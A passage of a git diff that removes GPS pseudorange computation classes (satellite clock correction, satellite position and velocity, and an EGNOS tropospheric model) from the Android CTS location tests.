- }
-
- /** Returns the last computed position velocity uncertainties in meters and meter per seconds,
- * consecutively. */
- public double[] getPositionVelocityUncertaintyEnu() {
- return mPositionVelocityUncertaintyEnu;
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java b/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java
deleted file mode 100644
index fd06972..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/PseudorangeSmoother.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import java.util.List;
-
-/**
- * Interface for smoothing a list of {@link GpsMeasurementWithRangeAndUncertainty} instances
- * received at a point of time.
- */
-interface PseudorangeSmoother {
-
- /**
- * Takes an input list of {@link GpsMeasurementWithRangeAndUncertainty} instances and returns a
- * new list that contains smoothed pseudorange measurements.
- *
- * <p>The input list is of size {@link GpsNavigationMessageStore#MAX_NUMBER_OF_SATELLITES} with
- * not visible GPS satellites having null entries, and the returned new list is of the same size.
- *
- * <p>The method does not modify the input list.
- */
- List<GpsMeasurementWithRangeAndUncertainty> updatePseudorangeSmoothingResult(
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToGPSReceiverMeasurements);
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java b/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java
deleted file mode 100644
index 8c4b055..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/SatelliteClockCorrectionCalculator.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.location.cts.pseudorange;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-/**
- * Calculate the GPS satellite clock correction based on parameters observed from the navigation
- * message
- * <p>Source: Page 88 - 90 of the ICD-GPS 200
- */
-public class SatelliteClockCorrectionCalculator {
- private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
- private static final double EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 = 3.986005e14;
- private static final double RELATIVISTIC_CONSTANT_F = -4.442807633e-10;
- private static final int SECONDS_IN_WEEK = 604800;
- private static final double ACCURACY_TOLERANCE = 1.0e-11;
- private static final int MAX_ITERATIONS = 100;
- /**
- * Compute the GPS satellite clock correction term in meters iteratively following page 88 - 90
- * and 98 - 100 of the ICD GPS 200. The method returns a pair of satellite clock correction in
- * meters and Kepler Eccentric Anomaly in Radians.
- *
- * @param ephemerisProto parameters of the navigation message
- * @param receiverGpsTowAtTimeOfTransmission Reciever estimate of GPS time of week when signal was
- * transmitted (seconds)
- * @param receiverGpsWeekAtTimeOfTrasnmission Receiver estimate of GPS week when signal was
- * transmitted (0-1024+)
- * @throws Exception
- */
- public static SatClockCorrection calculateSatClockCorrAndEccAnomAndTkIteratively(
- GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmission,
- double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
- // Units are not added in the variable names to have the same name as the ICD-GPS200
- // Mean anomaly (radians)
- double meanAnomalyRad;
- // Kepler's Equation for Eccentric Anomaly iteratively (Radians)
- double eccentricAnomalyRad;
- // Semi-major axis of orbit (meters)
- double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
- // Computed mean motion (radians/seconds)
- double n0 = Math.sqrt(EARTH_UNIVERSAL_GRAVITATIONAL_CONSTANT_M3_SM2 / (a * a * a));
- // Corrected mean motion (radians/seconds)
- double n = n0 + ephemerisProto.deltaN;
- // In the following, Receiver GPS week and ephemeris GPS week are used to correct for week
- // rollover when calculating the time from clock reference epoch (tcSec)
- double timeOfTransmissionIncludingRxWeekSec =
- receiverGpsWeekAtTimeOfTrasnmission * SECONDS_IN_WEEK + receiverGpsTowAtTimeOfTransmission;
- // time from clock reference epoch (seconds) page 88 ICD-GPS200
- double tcSec = timeOfTransmissionIncludingRxWeekSec
- - (ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toc);
- // Correction for week rollover
- tcSec = fixWeekRollover(tcSec);
- double oldEcentricAnomalyRad = 0.0;
- double newSatClockCorrectionSeconds = 0.0;
- double relativisticCorrection = 0.0;
- double changeInSatClockCorrection = 0.0;
- // Initial satellite clock correction (unknown relativistic correction). Iterate to correct
- // with the relativistic effect and obtain a stable
- final double initSatClockCorrectionSeconds = ephemerisProto.af0
- + ephemerisProto.af1 * tcSec
- + ephemerisProto.af2 * tcSec * tcSec - ephemerisProto.tgd;
- double satClockCorrectionSeconds = initSatClockCorrectionSeconds;
- double tkSec;
- int satClockCorrectionsCounter = 0;
- do {
- int eccentricAnomalyCounter = 0;
- // time from ephemeris reference epoch (seconds) page 98 ICD-GPS200
- tkSec = timeOfTransmissionIncludingRxWeekSec - (
- ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
- + satClockCorrectionSeconds);
- // Correction for week rollover
- tkSec = fixWeekRollover(tkSec);
- // Mean anomaly (radians)
- meanAnomalyRad = ephemerisProto.m0 + n * tkSec;
- // eccentric anomaly (radians)
- eccentricAnomalyRad = meanAnomalyRad;
- // Iteratively solve for Kepler's eccentric anomaly according to ICD-GPS200 page 99
- do {
- oldEcentricAnomalyRad = eccentricAnomalyRad;
- eccentricAnomalyRad =
- meanAnomalyRad + ephemerisProto.e * Math.sin(eccentricAnomalyRad);
- eccentricAnomalyCounter++;
- if (eccentricAnomalyCounter > MAX_ITERATIONS) {
- throw new Exception("Kepler Eccentric Anomaly calculation did not converge in "
- + MAX_ITERATIONS + " iterations");
- }
- } while (Math.abs(oldEcentricAnomalyRad - eccentricAnomalyRad) > ACCURACY_TOLERANCE);
- // relativistic correction term (seconds)
- relativisticCorrection = RELATIVISTIC_CONSTANT_F * ephemerisProto.e
- * ephemerisProto.rootOfA * Math.sin(eccentricAnomalyRad);
- // satellite clock correction including relativistic effect
- newSatClockCorrectionSeconds = initSatClockCorrectionSeconds + relativisticCorrection;
- changeInSatClockCorrection =
- Math.abs(satClockCorrectionSeconds - newSatClockCorrectionSeconds);
- satClockCorrectionSeconds = newSatClockCorrectionSeconds;
- satClockCorrectionsCounter++;
- if (satClockCorrectionsCounter > MAX_ITERATIONS) {
- throw new Exception("Satellite Clock Correction calculation did not converge in "
- + MAX_ITERATIONS + " iterations");
- }
- } while (changeInSatClockCorrection > ACCURACY_TOLERANCE);
- tkSec = timeOfTransmissionIncludingRxWeekSec - (
- ephemerisProto.week * SECONDS_IN_WEEK + ephemerisProto.toe
- + satClockCorrectionSeconds);
- // return satellite clock correction (meters) and Kepler Eccentric Anomaly in Radians
- return new SatClockCorrection(satClockCorrectionSeconds * SPEED_OF_LIGHT_MPS,
- eccentricAnomalyRad, tkSec);
- }
-
- /**
- * Calculates Satellite Clock Error Rate in (meters/second) by subtracting the Satellite
- * Clock Error Values at t+0.5s and t-0.5s.
- *
- * <p>This approximation is more accurate than differentiating because both the orbital
- * and relativity terms have non-linearities that are not easily differentiable.
- */
- public static double calculateSatClockCorrErrorRate(
- GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionSeconds,
- double receiverGpsWeekAtTimeOfTrasnmission) throws Exception {
- SatClockCorrection satClockCorrectionPlus = calculateSatClockCorrAndEccAnomAndTkIteratively(
- ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds + 0.5,
- receiverGpsWeekAtTimeOfTrasnmission);
- SatClockCorrection satClockCorrectionMinus = calculateSatClockCorrAndEccAnomAndTkIteratively(
- ephemerisProto, receiverGpsTowAtTimeOfTransmissionSeconds - 0.5,
- receiverGpsWeekAtTimeOfTrasnmission);
- double satelliteClockErrorRate = satClockCorrectionPlus.satelliteClockCorrectionMeters
- - satClockCorrectionMinus.satelliteClockCorrectionMeters;
- return satelliteClockErrorRate;
- }
-
- /**
- * Method to check for week rollover according to ICD-GPS 200 page 98.
- *
- * <p>Result should be between -302400 and 302400 if the ephemeris is within one week of
- * transmission, otherwise it is adjusted to the correct range
- */
- private static double fixWeekRollover(double time) {
- double correctedTime = time;
- if (time > SECONDS_IN_WEEK / 2.0) {
- correctedTime = time - SECONDS_IN_WEEK;
- }
- if (time < -SECONDS_IN_WEEK / 2.0) {
- correctedTime = time + SECONDS_IN_WEEK;
- }
- return correctedTime;
- }
- /**
- *
- * Class containing the satellite clock correction parameters: The satellite clock correction in
- * meters, Kepler Eccentric Anomaly in Radians and the time from the reference epoch in seconds.
- */
- public static class SatClockCorrection {
- /**
- * Satellite clock correction in meters
- */
- public final double satelliteClockCorrectionMeters;
- /**
- * Satellite clock correction in meters
- */
- public final double satelliteClockRateCorrectionMetersPerSecond;
- /**
- * Kepler Eccentric Anomaly in Radians
- */
- public final double eccentricAnomalyRadians;
- /**
- * Time from the reference epoch in Seconds
- */
- public final double timeFromRefEpochSec;
- /**
- * Constructor
- */
- public SatClockCorrection(double satelliteClockCorrectionMeters, double eccentricAnomalyRadians,
- double timeFromRefEpochSec) {
- this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
- this.eccentricAnomalyRadians = eccentricAnomalyRadians;
- this.timeFromRefEpochSec = timeFromRefEpochSec;
- this.satelliteClockRateCorrectionMetersPerSecond = Double.NaN;
- }
- /**
- * Alternative Constructor
- */
- public SatClockCorrection(double satelliteClockCorrectionMeters,
- double satelliteClockRateCorrectionMeters, double eccentricAnomalyRadians,
- double timeFromRefEpochSec){
- this.satelliteClockCorrectionMeters = satelliteClockCorrectionMeters;
- this.eccentricAnomalyRadians = eccentricAnomalyRadians;
- this.timeFromRefEpochSec = timeFromRefEpochSec;
- this.satelliteClockRateCorrectionMetersPerSecond = satelliteClockRateCorrectionMeters;
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java b/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java
deleted file mode 100644
index de7bfce..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/SatellitePositionCalculator.java
+++ /dev/null
@@ -1,298 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.cts.pseudorange.SatelliteClockCorrectionCalculator.SatClockCorrection;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-
-/* Class to calculate GPS satellite positions from the ephemeris data */
-public class SatellitePositionCalculator {
- private static final double SPEED_OF_LIGHT_MPS = 299792458.0;
- private static final double UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 = 3.986005e14;
- private static final int NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION = 5;
- private static final double EARTH_ROTATION_RATE_RAD_PER_SEC = 7.2921151467e-5;
-
- /**
- *
- * Calculate GPS satellite position and velocity from ephemeris including the Sagnac effect
- * starting from unknown user to satellite distance and speed. So we start from an initial guess
- * of the user to satellite range and range rate and iterate to include the Sagnac effect. Few
- * iterations are enough to achieve a satellite position with millimeter accuracy.
- * A {@code PositionAndVelocity} class is returned containing satellite position in meters
- * (x, y and z) and velocity in meters per second (x, y, z)
- *
- * <p>Satelite position and velocity equations are obtained from:
- * http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
- * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
- *
- * @param ephemerisProto parameters of the navigation message
- * @param receiverGpsTowAtTimeOfTransmissionCorrectedSec Receiver estimate of GPS time of week
- * when signal was transmitted corrected with the satellite clock drift (seconds)
- * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
- * transmitted (0-1024+)
- * @param userPosXMeters Last known user x-position (if known) [meters]
- * @param userPosYMeters Last known user y-position (if known) [meters]
- * @param userPosZMeters Last known user z-position (if known) [meters]
- * @throws Exception
- */
- public static PositionAndVelocity calculateSatellitePositionAndVelocityFromEphemeris
- (GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionCorrectedSec,
- int receiverGpsWeekAtTimeOfTransmission,
- double userPosXMeters,
- double userPosYMeters,
- double userPosZMeters) throws Exception {
-
- // lets start with a first user to sat distance guess of 70 ms and zero velocity
- RangeAndRangeRate userSatRangeAndRate = new RangeAndRangeRate
- (0.070 * SPEED_OF_LIGHT_MPS, 0.0 /* range rate*/);
-
- // To apply sagnac effect correction, We are starting from an approximate guess of the user to
- // satellite range, iterate 3 times and that should be enough to reach millimeter accuracy
- PositionAndVelocity satPosAndVel = new PositionAndVelocity(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
- PositionAndVelocity userPosAndVel =
- new PositionAndVelocity(userPosXMeters, userPosYMeters, userPosZMeters,
- 0.0 /* user velocity x*/, 0.0 /* user velocity y*/, 0.0 /* user velocity z */);
- for (int i = 0; i < NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION; i++) {
- calculateSatellitePositionAndVelocity(ephemerisProto,
- receiverGpsTowAtTimeOfTransmissionCorrectedSec, receiverGpsWeekAtTimeOfTransmission,
- userSatRangeAndRate, satPosAndVel);
- computeUserToSatelliteRangeAndRangeRate(userPosAndVel, satPosAndVel, userSatRangeAndRate);
- }
- return satPosAndVel;
- }
-
- /**
- * Calculate GPS satellite position and velocity from ephemeris based on the ICD-GPS-200.
- * Satellite position in meters (x, y and z) and velocity in meters per second (x, y, z) are set
- * in the passed {@code PositionAndVelocity} instance.
- *
- * <p>Sources: http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
- * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
- *
- * @param ephemerisProto parameters of the navigation message
- * @param receiverGpsTowAtTimeOfTransmissionCorrected Receiver estimate of GPS time of week when
- * signal was transmitted corrected with the satellite clock drift (seconds)
- * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
- * transmitted (0-1024+)
- * @param userSatRangeAndRate user to satellite range and range rate
- * @param satPosAndVel Satellite position and velocity instance in which the method results will
- * be set
- * @throws Exception
- */
- public static void calculateSatellitePositionAndVelocity(GpsEphemerisProto ephemerisProto,
- double receiverGpsTowAtTimeOfTransmissionCorrected, int receiverGpsWeekAtTimeOfTransmission,
- RangeAndRangeRate userSatRangeAndRate, PositionAndVelocity satPosAndVel) throws Exception {
-
- // Calculate satellite clock correction (meters), Kepler Eccentric anomaly (radians) and time
- // from ephemeris refrence epoch (tkSec) iteratively
- SatClockCorrection satClockCorrectionValues =
- SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
- ephemerisProto, receiverGpsTowAtTimeOfTransmissionCorrected,
- receiverGpsWeekAtTimeOfTransmission);
-
- double eccentricAnomalyRadians = satClockCorrectionValues.eccentricAnomalyRadians;
- double tkSec = satClockCorrectionValues.timeFromRefEpochSec;
-
- // True_anomaly (angle from perigee)
- double trueAnomalyRadians = Math.atan2(
- Math.sqrt(1.0 - ephemerisProto.e * ephemerisProto.e)
- * Math.sin(eccentricAnomalyRadians),
- Math.cos(eccentricAnomalyRadians) - ephemerisProto.e);
-
- // Argument of latitude of the satellite
- double argumentOfLatitudeRadians = trueAnomalyRadians + ephemerisProto.omega;
-
- // Radius of satellite orbit
- double radiusOfSatelliteOrbitMeters = ephemerisProto.rootOfA * ephemerisProto.rootOfA
- * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
-
- // Radius correction due to second harmonic perturbations of the orbit
- double radiusCorrectionMeters = ephemerisProto.crc
- * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.crs
- * Math.sin(2.0 * argumentOfLatitudeRadians);
- // Argument of latitude correction due to second harmonic perturbations of the orbit
- double argumentOfLatitudeCorrectionRadians = ephemerisProto.cuc
- * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cus
- * Math.sin(2.0 * argumentOfLatitudeRadians);
- // Correction to inclination due to second harmonic perturbations of the orbit
- double inclinationCorrectionRadians = ephemerisProto.cic
- * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cis
- * Math.sin(2.0 * argumentOfLatitudeRadians);
-
- // Corrected radius of satellite orbit
- radiusOfSatelliteOrbitMeters += radiusCorrectionMeters;
- // Corrected argument of latitude
- argumentOfLatitudeRadians += argumentOfLatitudeCorrectionRadians;
- // Corrected inclination
- double inclinationRadians =
- ephemerisProto.i0 + inclinationCorrectionRadians + ephemerisProto.iDot * tkSec;
-
- // Position in orbital plane
- double xPositionMeters = radiusOfSatelliteOrbitMeters * Math.cos(argumentOfLatitudeRadians);
- double yPositionMeters = radiusOfSatelliteOrbitMeters * Math.sin(argumentOfLatitudeRadians);
-
- // Corrected longitude of the ascending node (signal propagation time is included to compensate
- // for the Sagnac effect)
- double omegaKRadians = ephemerisProto.omega0
- + (ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC) * tkSec
- - EARTH_ROTATION_RATE_RAD_PER_SEC
- * (ephemerisProto.toe + userSatRangeAndRate.rangeMeters / SPEED_OF_LIGHT_MPS);
-
- // compute the resulting satellite position
- double satPosXMeters = xPositionMeters * Math.cos(omegaKRadians) - yPositionMeters
- * Math.cos(inclinationRadians) * Math.sin(omegaKRadians);
- double satPosYMeters = xPositionMeters * Math.sin(omegaKRadians) + yPositionMeters
- * Math.cos(inclinationRadians) * Math.cos(omegaKRadians);
- double satPosZMeters = yPositionMeters * Math.sin(inclinationRadians);
-
- // Satellite Velocity Computation using the broadcast ephemeris
- // http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
- // Units are not added in some of the variable names to have the same name as the ICD-GPS200
- // Semi-major axis of orbit (meters)
- double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
- // Computed mean motion (radians/seconds)
- double n0 = Math.sqrt(UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 / (a * a * a));
- // Corrected mean motion (radians/seconds)
- double n = n0 + ephemerisProto.deltaN;
- // Derivative of mean anomaly (radians/seconds)
- double meanAnomalyDotRadPerSec = n;
- // Derivative of eccentric anomaly (radians/seconds)
- double eccentricAnomalyDotRadPerSec =
- meanAnomalyDotRadPerSec / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
- // Derivative of true anomaly (radians/seconds)
- double trueAnomalydotRadPerSec = Math.sin(eccentricAnomalyRadians)
- * eccentricAnomalyDotRadPerSec
- * (1.0 + ephemerisProto.e * Math.cos(trueAnomalyRadians)) / (
- Math.sin(trueAnomalyRadians)
- * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)));
- // Derivative of argument of latitude (radians/seconds)
- double argumentOfLatitudeDotRadPerSec = trueAnomalydotRadPerSec + 2.0 * (ephemerisProto.cus
- * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cuc
- * Math.sin(2.0 * argumentOfLatitudeRadians)) * trueAnomalydotRadPerSec;
- // Derivative of radius of satellite orbit (m/s)
- double radiusOfSatelliteOrbitDotMPerSec = a * ephemerisProto.e
- * Math.sin(eccentricAnomalyRadians) * n
- / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)) + 2.0 * (
- ephemerisProto.crs * Math.cos(2.0 * argumentOfLatitudeRadians)
- - ephemerisProto.crc * Math.sin(2.0 * argumentOfLatitudeRadians))
- * trueAnomalydotRadPerSec;
- // Derivative of the inclination (radians/seconds)
- double inclinationDotRadPerSec = ephemerisProto.iDot + (ephemerisProto.cis
- * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cic
- * Math.sin(2.0 * argumentOfLatitudeRadians)) * 2.0 * trueAnomalydotRadPerSec;
-
- double xVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.cos(argumentOfLatitudeRadians)
- - yPositionMeters * argumentOfLatitudeDotRadPerSec;
- double yVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.sin(argumentOfLatitudeRadians)
- + xPositionMeters * argumentOfLatitudeDotRadPerSec;
-
- // Corrected rate of right ascension including compensation for the Sagnac effect
- double omegaDotRadPerSec = ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC
- * (1.0 + userSatRangeAndRate.rangeRateMetersPerSec / SPEED_OF_LIGHT_MPS);
- // compute the resulting satellite velocity
- double satVelXMPS =
- (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
- * Math.cos(omegaKRadians) - (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
- * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
- * inclinationDotRadPerSec) * Math.sin(omegaKRadians);
- double satVelYMPS =
- (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
- * Math.sin(omegaKRadians) + (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
- * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
- * inclinationDotRadPerSec) * Math.cos(omegaKRadians);
- double satVelZMPS = yVelocityMPS * Math.sin(inclinationRadians) + yPositionMeters
- * Math.cos(inclinationRadians) * inclinationDotRadPerSec;
-
- satPosAndVel.positionXMeters = satPosXMeters;
- satPosAndVel.positionYMeters = satPosYMeters;
- satPosAndVel.positionZMeters = satPosZMeters;
- satPosAndVel.velocityXMetersPerSec = satVelXMPS;
- satPosAndVel.velocityYMetersPerSec = satVelYMPS;
- satPosAndVel.velocityZMetersPerSec = satVelZMPS;
- }
-
- /**
- * Compute and set the passed {@code RangeAndRangeRate} instance containing user to satellite
- * range (meters) and range rate (m/s) given the user position (ECEF meters), user velocity (m/s),
- * satellite position (ECEF meters) and satellite velocity (m/s).
- */
- private static void computeUserToSatelliteRangeAndRangeRate(PositionAndVelocity userPosAndVel,
- PositionAndVelocity satPosAndVel, RangeAndRangeRate rangeAndRangeRate) {
- double dXMeters = satPosAndVel.positionXMeters - userPosAndVel.positionXMeters;
- double dYMeters = satPosAndVel.positionYMeters - userPosAndVel.positionYMeters;
- double dZMeters = satPosAndVel.positionZMeters - userPosAndVel.positionZMeters;
- // range in meters
- double rangeMeters = Math.sqrt(dXMeters * dXMeters + dYMeters * dYMeters + dZMeters * dZMeters);
- // range rate in meters / second
- double rangeRateMetersPerSec =
- ((userPosAndVel.velocityXMetersPerSec - satPosAndVel.velocityXMetersPerSec) * dXMeters
- + (userPosAndVel.velocityYMetersPerSec - satPosAndVel.velocityYMetersPerSec) * dYMeters
- + (userPosAndVel.velocityZMetersPerSec - satPosAndVel.velocityZMetersPerSec) * dZMeters)
- / rangeMeters;
- rangeAndRangeRate.rangeMeters = rangeMeters;
- rangeAndRangeRate.rangeRateMetersPerSec = rangeRateMetersPerSec;
- }
-
- /**
- *
- * A class containing position values (x, y, z) in meters and velocity values (x, y, z) in meters
- * per seconds
- */
- public static class PositionAndVelocity {
- /* x - position in meters */
- public double positionXMeters;
- /* y - position in meters */
- public double positionYMeters;
- /* z - position in meters */
- public double positionZMeters;
- /* x - velocity in meters */
- public double velocityXMetersPerSec;
- /* y - velocity in meters */
- public double velocityYMetersPerSec;
- /* z - velocity in meters */
- public double velocityZMetersPerSec;
-
- /* Constructor */
- public PositionAndVelocity(double positionXMeters,
- double positionYMeters,
- double positionZMeters,
- double velocityXMetersPerSec,
- double velocityYMetersPerSec,
- double velocityZMetersPerSec) {
- this.positionXMeters = positionXMeters;
- this.positionYMeters = positionYMeters;
- this.positionZMeters = positionZMeters;
- this.velocityXMetersPerSec = velocityXMetersPerSec;
- this.velocityYMetersPerSec = velocityYMetersPerSec;
- this.velocityZMetersPerSec = velocityZMetersPerSec;
- }
- }
-
- /* A class containing range of satellite to user in meters and range rate in meters per seconds */
- public static class RangeAndRangeRate {
- /* Range in meters */
- public double rangeMeters;
- /* Range rate in meters per seconds */
- public double rangeRateMetersPerSec;
-
- /* Constructor */
- public RangeAndRangeRate(double rangeMeters, double rangeRateMetersPerSec) {
- this.rangeMeters = rangeMeters;
- this.rangeRateMetersPerSec = rangeRateMetersPerSec;
- }
- }
-}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java b/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java
deleted file mode 100644
index 6fa63a0..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/TroposphericModelEgnos.java
+++ /dev/null
@@ -1,324 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-/**
- * Calculate the troposheric delay based on the ENGOS Tropospheric model.
- *
- * <p>The tropospheric delay is modeled as a combined effect of the delay experienced due to
- * hyrostatic (dry) and wet components of the troposphere. Both delays experienced at zenith are
- * scaled with a mapping function to get the delay at any specific elevation.
- *
- * <p>The tropospheric model algorithm of EGNOS model by Penna, N., A. Dodson and W. Chen (2001)
- * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917) is used
- * for calculating the zenith delays. In this model, the weather parameters are extracted using
- * interpolation from lookup table derived from the US Standard Atmospheric Supplements, 1966.
- *
- * <p>A close form mapping function is built using Guo and Langley, 2003
- * (http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf) which is able to calculate accurate
- * mapping down to 2 degree elevations.
- *
- * <p>Sources:
- * <p>http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917
- * <p>- http://www.academia.edu/3512180/Assessment_of_UNB3M_neutral
- * _atmosphere_model_and_EGNOS_model_for_near-equatorial-tropospheric_delay_correction
- * <p>- http://gauss.gge.unb.ca/papers.pdf/ion52am.collins.pdf
- * <p>- http://www.navipedia.net/index.php/Tropospheric_Delay#cite_ref-3
- * <p>Hydrostatic and non-hydrostatic mapping functions are obtained from:
- * http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
- *
- */
-public class TroposphericModelEgnos {
- // parameters of the EGNOS models
- private static final int INDEX_15_DEGREES = 0;
- private static final int INDEX_75_DEGREES = 4;
- private static final int LATITUDE_15_DEGREES = 15;
- private static final int LATITUDE_75_DEGREES = 75;
- // Lookup Average parameters
- // Troposphere average presssure mbar
- private static final double[] latDegreeToPressureMbarAvgMap =
- {1013.25, 1017.25, 1015.75, 1011.75, 1013.0};
- // Troposphere average temperature Kelvin
- private static final double[] latDegreeToTempKelvinAvgMap =
- {299.65, 294.15, 283.15, 272.15, 263.65};
- // Troposphere average wator vapor pressure
- private static final double[] latDegreeToWVPressureMbarAvgMap = {26.31, 21.79, 11.66, 6.78, 4.11};
- // Troposphere average temperature lapse rate K/m
- private static final double[] latDegreeToBetaAvgMapKPM =
- {6.30e-3, 6.05e-3, 5.58e-3, 5.39e-3, 4.53e-3};
- // Troposphere average water vapor lapse rate (dimensionless)
- private static final double[] latDegreeToLampdaAvgMap = {2.77, 3.15, 2.57, 1.81, 1.55};
-
- // Lookup Amplitude parameters
- // Troposphere amplitude presssure mbar
- private static final double[] latDegreeToPressureMbarAmpMap = {0.0, -3.75, -2.25, -1.75, -0.5};
- // Troposphere amplitude temperature Kelvin
- private static final double[] latDegreeToTempKelvinAmpMap = {0.0, 7.0, 11.0, 15.0, 14.5};
- // Troposphere amplitude wator vapor pressure
- private static final double[] latDegreeToWVPressureMbarAmpMap = {0.0, 8.85, 7.24, 5.36, 3.39};
- // Troposphere amplitude temperature lapse rate K/m
- private static final double[] latDegreeToBetaAmpMapKPM =
- {0.0, 0.25e-3, 0.32e-3, 0.81e-3, 0.62e-3};
- // Troposphere amplitude water vapor lapse rate (dimensionless)
- private static final double[] latDegreeToLampdaAmpMap = {0.0, 0.33, 0.46, 0.74, 0.30};
- // Zenith delay dry constant K/mbar
- private static final double K1 = 77.604;
- // Zenith delay wet constant K^2/mbar
- private static final double K2 = 382000.0;
- // gas constant for dry air J/kg/K
- private static final double RD = 287.054;
- // Acceleration of gravity at the atmospheric column centroid m/s^-2
- private static final double GM = 9.784;
- // Gravity m/s^2
- private static final double GRAVITY_MPS2 = 9.80665;
-
